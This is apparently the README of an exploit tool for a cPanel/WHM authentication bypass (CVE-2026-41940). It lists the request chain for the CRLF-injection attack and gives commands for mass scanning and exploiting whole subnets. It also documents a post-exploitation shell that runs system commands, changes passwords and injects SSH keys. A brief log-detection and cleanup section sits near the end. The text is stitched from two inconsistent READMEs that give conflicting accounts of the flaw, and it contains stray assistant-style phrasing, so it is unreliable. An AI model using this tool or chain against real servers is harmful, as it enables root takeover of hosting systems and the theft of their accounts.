
CVE-2026-41940 — cPanel/WHM Auth Bypass By Dr.Anach, CRLF injection in `cpsrvd` Basic auth handler → unauthenticated WHM API access → RCE as root. All cPanel since v11.40 affected.
Author: Dr.Anach | Contact: @dranach | License: MIT
CRLF injection in cpsrvd Basic auth handler → unauthenticated WHM API access → RCE as root. All cPanel since v11.40 affected.
| # | Step | Request |
|---|---|---|
| 1 | Mint session | GET /login/?user=root |
| 2 | CRLF injection | Authorization: Basic <base64> — password carries \r\n payload |
| 3 | Cache promotion | GET /cpsess<ID>/login/?login_only=1 |
| 4 | Execute | GET /cpsess<ID>/execute/API/func |
pip install requests colorama
Below is the final README.md — human-friendly, practical, and focused on getting work done.
Author: Dr.Anach · Telegram: @dranach
Version: 2.0.0
License: For authorized security testing only
Exploits CVE-2026-41940, an authentication bypass in cPanel & WHM (versions 11.x through 106.x). The vulnerability allows an unauthenticated attacker to access restricted endpoints — including the password reset function — by sending a crafted Host header pointing to an attacker-controlled server.
Comes with three modes:
| Mode | Flag | What |
|---|---|---|
| Single target | -t | Test one IP or domain |
requests librarypip install requests
No other dependencies. The CIDR expansion uses Python's built-in ipaddress module — nothing extra to install on Windows.
python main.py -t example.com
python main.py -t 192.168.1.100
python main.py --batch targets.txt --threads 50
targets.txt format:
192.168.1.100
example.com
192.168.1.101
example.org
192.168.1.102
python main.py --port-scan 192.168.128.0/18 --threads 100 --timeout 5
This expands 192.168.128.0/18 (16,384 IPs), runs a quick port check on each, and only attempts exploitation against hosts where port 2087 (cPanel/WHM) is open.
-t, --target Single target IP or domain
--batch FILE File with targets (one per line)
--port-scan CIDR CIDR range to scan (e.g., 192.168.128.0/18)
-p, --port Target port (default: 2087)
--ssl Use HTTPS (default: HTTP)
--timeout SEC Connection timeout in seconds (default: 10)
--threads N Max concurrent threads (default: 50)
--proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080)
-v, --verbose Verbose output with debug info
--no-banner Suppress banner
--version Show version
[+] 192.168.130.45:2087 — VULNERABLE!
→ Password reset URL: http://192.168.130.45:2087/reset?token=abc123
→ Response time: 1.23s
[-] 192.168.131.10:2087 — Not vulnerable
→ Reason: No password reset endpoint found
[!] 192.168.129.22:2087 — Error: Connection refused
Results saved as JSON are structured per-host with vulnerability status, extracted tokens, and raw response details.
The scenario you're probably here for:
python main.py --port-scan 192.168.128.0/18 -p 2087 --threads 100 --timeout 5 -v
How it works:
192.168.128.0/18 → 16,384 IPs internallyThreading tips:
--threads 100 works well (respects default socket limits)--threads 200--threads 30 and increase --timeoutCVSS 9.1 (Critical) — No authentication required, no user interaction, low complexity.
Host headers server-sideThis tool is for authorized security assessments only. You must own the targets or have written permission from the owner before testing. The authors assume no liability for misuse.
help Show commands
info Server info
passwd Change password
accounts List cPanel accounts
enum Full enumeration
shell Execute system command
ssh-add Inject SSH key
exec Run Python one-liner
exit Exit
Check session files:
ls -la /var/cpanel/sessions/raw/
ls -la /var/cpanel/sessions/cache/
Suspicious logs in /usr/local/cpanel/logs/access_log:
/login/?user=root → session mint
/login/?user=root → CRLF injection
/cpsess*/login/?login_only=1 → cache promotion
/cpsess*/execute/* → API abuse
# 1. Patch to fixed build
# 2. Rotate all passwords and SSH keys
# 3. Purge sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
| Batch file | --batch | Load a list of targets from a file |
| CIDR scan | --port-scan | Expand a subnet and test every live host |